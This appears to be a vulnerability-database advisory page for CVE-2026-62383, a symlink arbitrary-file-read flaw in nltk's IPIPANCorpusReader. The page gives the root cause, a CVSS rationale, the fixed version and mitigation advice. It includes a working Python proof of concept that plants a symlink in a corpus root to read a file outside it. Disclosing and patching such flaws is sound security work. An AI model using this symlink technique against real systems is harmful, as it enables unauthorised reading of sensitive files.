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CVE-2026-62383 — nltk

Fix: nltk/nltk#3727

CVE-2026-62383 is a Path Traversal vulnerability in nltk. A fix is available for nltk — see the affected versions and patch details below.

nltk IPIPANCorpusReader Symlink Arbitrary File Read

Also known asGHSA-3hhw-38pf-pxj6PYSEC-2026-3726
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-62383.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk
0.00%0.23%0.46%0.68%0.2%0.2%0.2%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍nltk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.

Root cause

All four methods route through _get_tag():

def _get_tag(self, f, tag):
    tags = []
    with open(f) as infile:   # builtin open(), no pathsec involvement
        header = infile.read()
    ...

f arrives via _list_header_files() / _list_morph_files_by(), both of which call:

f.replace("morph.xml", "header.xml")

on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().

This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.add_root(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validate_path(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.

Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.

Proof of concept

Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.

import os
import tempfile

from nltk.corpus.reader.ipipan import IPIPANCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "ipipan")
os.makedirs(corpus_root)

with open(os.path.join(corpus_root, "real_morph.xml"), "w") as f:
    f.write("<channel>legit</channel>")

secret_dir = os.path.join(root, "outside_ipipan_root")
os.makedirs(secret_dir)
secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")

os.symlink(secret_path, os.path.join(corpus_root, "evil_link.xml"))

reader = IPIPANCorpusReader(corpus_root, r".*\.xml")
print("Auto-discovered fileids:", sorted(reader.fileids()))

result = reader.channels(fileids=["evil_link.xml"])
print(result)

Actual output when run against current develop:

Auto-discovered fileids: ['evil_link.xml', 'real_morph.xml']
['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']

That content was read from secret_path, a file entirely outside corpus_root. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.

Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (SECURITY.md names "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call.
  • Core corpus-reader code, reached through plain import nltk and documented, programmatic usage (words(), sents(), channels(), etc.), not a demo or GUI tool.
  • Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for FramenetCorpusReader and NKJPCorpusReader.
  • Not a bypass of a claimed fix. ipipan.py has never had security hardening applied, and has no dedicated test coverage at all.

CVSS v3.1

  • AV:L, AC:L: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.
  • PR:L: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.
  • UI:N: fires during routine, automated corpus processing, no separate victim action.
  • S:U: stays within the same process's existing privileges.
  • C:H, I:N, A:N: arbitrary file read only, no write, no crash.

Suggested fix

Route _get_tag() through nltk.pathsec.validate_path() with the corpus root as required_root, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPInltk≥ 3.10.0&&< 3.10.23.10.2pip install --upgrade 'nltk==3.10.2'

Affected Products

1 product · 1 configurations
Application
nltknltk
≥ 3.10.0 && < 3.10.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update nltk to 3.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-62383 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

The `nltk` library is vulnerable to information disclosure, allowing an attacker with local access and low privileges to read arbitrary files. This occurs if an attacker can place a symlink within the `nltk` corpus root directory, bypassing path validation and enabling access to sensitive data with the permissions of…

Workaround published by Red Hat
To mitigate this vulnerability, restrict write access to the `IPIPANCorpusReader` corpus root directory. Ensure that only trusted users or processes have permissions to create or modify files within this directory. This prevents an attacker from placing malicious symlinks that could lead to arbitrary file disclosure.
Source: Red Hat security advisory for CVE-2026-62383 (CC BY 4.0)

Frequently Asked Questions

## Summary `IPIPANCorpusReader` (`nltk/corpus/reader/ipipan.py`) exposes public methods, `channels()`, `domains()`, `categories()`, and `fileids(channels=...)`, that accept a caller supplied `fileids` list and read a file via a completely unprotected builtin `open()` call, with no `nltk.pathsec` involvement at all. A symlink placed inside the corpus root, with a name containing no separators or `..`, passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access. ## Root cause All four methods route through `_get_tag()`:
O3 Security · Impact-Aware SCA

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CVE-2026-62383: nltk — Fixed in 3.10.2